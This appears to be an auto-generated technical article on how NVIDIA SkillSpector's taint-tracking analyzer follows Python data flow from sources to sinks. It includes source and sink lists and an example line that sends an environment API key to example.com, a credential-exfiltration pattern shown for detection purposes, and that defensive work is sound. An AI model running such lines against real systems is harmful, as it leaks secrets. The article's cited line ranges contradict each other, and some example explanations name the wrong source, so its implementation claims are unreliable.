# How Taint Tracking Analyzes Data Flow from Sources to Sinks in NVIDIA SkillSpector

> Discover how NVIDIA SkillSpector's taint tracking analyzes data flow. Learn how it traces tainted data from sources to sinks through Python AST parsing for security insights.

- Repository: [NVIDIA Corporation/SkillSpector](https://github.com/NVIDIA/SkillSpector)
- Tags: deep-dive
- Published: 2026-06-17

---

**SkillSpector’s behavioral taint‑tracking analyzer parses Python ASTs to mark variables originating from source calls as tainted, propagates that taint through assignments and data structures, and reports findings when tainted data reaches sink calls.**

NVIDIA SkillSpector implements a sophisticated behavioral taint‑tracking system that analyzes how untrusted data flows from entry points (sources) to vulnerable operations (sinks). Understanding how taint tracking analyzes data flow from sources to sinks helps security teams automatically identify credential leaks, data exfiltration pathways, and remote code execution risks in Python applications. The core implementation resides in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py) and integrates with the broader analysis pipeline through [`registry.py`](https://github.com/NVIDIA/SkillSpector/blob/main/registry.py) and [`graph.py`](https://github.com/NVIDIA/SkillSpector/blob/main/graph.py).

## Architecture of the Behavioral Taint-Tracking Analyzer

The analyzer processes each Python file through a multi‑stage pipeline that combines AST parsing with symbolic tracking of tainted variables.

### Defining Sources and Sinks

The analyzer maintains two critical sets that define the analysis boundaries: `_ALL_SOURCES` and `_ALL_SINKS`. These sets contain fully‑qualified call names representing:

- **Sources**: Environment variables (`os.getenv`), file reads (`open`), network input (`socket.recv`), and user input (`input`)
- **Sinks**: Network output (`requests.post`), code execution (`subprocess.run`, `exec`), and file writes (`write`)

These definitions occupy lines 44–89 and 91–134 in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py), establishing the security-relevant endpoints for the data‑flow analysis.

### AST Parsing and Type Resolution

For each target file under `MAX_FILE_BYTES`, the analyzer constructs an abstract syntax tree using Python’s `ast.parse` (lines 93–99). To resolve call names accurately across imports and aliases, it builds a type map via `build_type_map` imported from [`common.py`](https://github.com/NVIDIA/SkillSpector/blob/main/common.py) (lines 100–101). This mapping ensures that later stages correctly identify when a tainted source reaches a specific sink, even when accessed through intermediate variables or module aliases.

## Taint Introduction and Propagation

Once the AST is prepared, the analyzer walks the tree to identify where untrusted data enters the program and how it moves through variables.

### Initial Taint Assignment

When the walker encounters an assignment whose right‑hand side contains a source call, it marks the left‑hand side variable as a `_TaintedVar` (lines 131–149). The helper `_find_source_in_expr` detects both direct calls and subscript sources like `os.environ["KEY"]` (lines 135–138). If the assignment references a previously tainted variable rather than a direct source, `_find_tainted_in_expr` propagates the taint status to the new variable (lines 162–170).

### Propagating Taint Through Data Structures

Taint tracking extends beyond simple variables to include container literals. The analyzer ensures that taint propagates into:
- Dictionary literals (`{"auth": token}`)
- List and tuple literals (`[secret, config]`)
- Set literals
- f‑strings containing tainted expressions

This propagation logic, implemented in lines 172–182, prevents attackers from bypassing detection by packaging sensitive data into collections before reaching a sink.

### Handling Complex Assignment Targets

For assignments involving tuple unpacking or nested targets, the `_mark_targets` helper (lines 191–199) recursively extracts all target names and registers them as tainted. This ensures that patterns like `a, b = source(), other()` correctly mark only the relevant variables.

## Detecting and Reporting Sink Violations

The final stage determines whether tainted data reaches a security‑critical sink and generates appropriate findings.

### Direct vs. Indirect Flow Detection

When encountering a call node matching `_ALL_SINKS`, the analyzer examines arguments using two complementary strategies:

- **Direct flows**: `_find_nested_sources` detects when a source call is nested directly inside the sink arguments (lines 225–236). For example, `requests.post(url, data=os.getenv("KEY"))` triggers this check.
- **Indirect flows**: `_find_tainted_names_in_args` identifies when a tainted variable is passed as an argument to a sink (lines 238–250). For example, `token = os.getenv("KEY"); requests.post(url, data=token)` triggers this path.

### Rule Selection and Finding Emission

The `_pick_rule` method (lines 176–186) maps the specific source‑sink combination to a rule ID (TT1–TT5) with appropriate severity. For instance, a credential source flowing to a network output maps to **TT3**, while taint reaching an execution sink typically maps to **TT1**.

The `_emit` function (lines 210–224) constructs an `AnalyzerFinding` containing the rule ID, severity, confidence, code location, and descriptive message. A `seen` set (lines 212–218) deduplicates findings based on location and flow path to prevent redundant reports.

### Integration with the Analysis Pipeline

The analyzer’s `node()` method (lines 292–306) converts internal `AnalyzerFinding` objects to the generic `Finding` format defined in [`models.py`](https://github.com/NVIDIA/SkillSpector/blob/main/models.py), returning them to the framework. The node is registered under `"behavioral_taint_tracking"` in [`registry.py`](https://github.com/NVIDIA/SkillSpector/blob/main/registry.py) and orchestrated by [`graph.py`](https://github.com/NVIDIA/SkillSpector/blob/main/graph.py) alongside other analyzers.

## Practical Examples

The following examples demonstrate how the analyzer detects different flow patterns.

### Direct Source-to-Sink Flow

```python
import os
import requests

api_key = os.getenv("API_KEY")  # Source

requests.post("https://example.com", json={"key": api_key})  # Sink

```

The analyzer flags a **TT3** finding because `os.getenv` (credential/environment source) flows directly to `requests.post` (network output).

### Indirect Flow via Re-assignment

```python
import os
import subprocess

secret = os.environ["SECRET"]  # Source

payload = secret  # Taint propagates

subprocess.run(["/bin/echo", payload])  # Sink

```

This generates a **TT1** finding, indicating an indirect tainted flow from `os.getenv` to `subprocess.run` (code execution).

### Taint Through Container Literals

```python
import os
import requests

token = os.getenv("TOKEN")
data = {"auth": token}  # Container propagates taint

requests.post("https://api.service", json=data)

```

The analyzer traces the tainted dictionary element to the network sink, reporting the flow despite the intermediate data structure.

## Summary

- **Source and sink definitions** in `_ALL_SOURCES` and `_ALL_SINKS` establish the security perimeter for the analysis.
- **AST parsing** with `ast.parse` and `build_type_map` enables accurate name resolution across Python files.
- **Taint introduction** via `_find_source_in_expr` and `_TaintedVar` marks entry points, while `_find_tainted_in_expr` handles propagation.
- **Container awareness** ensures taint persists through dict, list, tuple, set, and f‑string constructions.
- **Sink detection** distinguishes between direct nested flows and indirect variable flows using `_find_nested_sources` and `_find_tainted_names_in_args`.
- **Rule mapping** assigns TT1–TT5 identifiers via `_pick_rule`, with `_emit` generating deduplicated findings integrated into the SkillSpector pipeline.

## Frequently Asked Questions

### What constitutes a source or sink in SkillSpector?

Sources are functions that introduce untrusted data into the application, such as `os.getenv`, `os.environ` subscripts, file reads, and network input. Sinks are dangerous operations where tainted data could cause harm, including network output (`requests.post`), code execution (`subprocess.run`, `exec`), and file writes. These are defined as sets of fully‑qualified call names in [`behavioral_taint_tracking.py`](https://github.com/NVIDIA/SkillSpector/blob/main/behavioral_taint_tracking.py) (lines 44–134).

### How does SkillSpector handle taint propagation through Python containers?

The analyzer explicitly tracks taint propagation into dictionary, list, tuple, and set literals during the AST walk (lines 172–182). When a tainted variable is inserted into a container, the entire container or its specific element is marked as tainted, ensuring that subsequent extraction or usage still triggers a finding when reaching a sink.

### What is the difference between direct and indirect taint flows?

A **direct flow** occurs when a source call is nested directly inside a sink call argument, detected by `_find_nested_sources` (lines 225–236). An **indirect flow** occurs when a previously tainted variable is passed to a sink, detected by `_find_tainted_names_in_args` (lines 238–250). Direct flows typically indicate higher confidence and may map to different rule IDs (e.g., TT3 vs TT1) based on the specific source‑sink combination.

### How does the analyzer prevent duplicate findings?

The `_emit` function maintains a `seen` set (lines 212–218) that tracks previously reported findings based on their location, source, sink, and flow path. Before constructing a new `AnalyzerFinding`, the checker verifies whether an identical finding was already emitted during the current file analysis, ensuring clean, deduplicated results in the final report.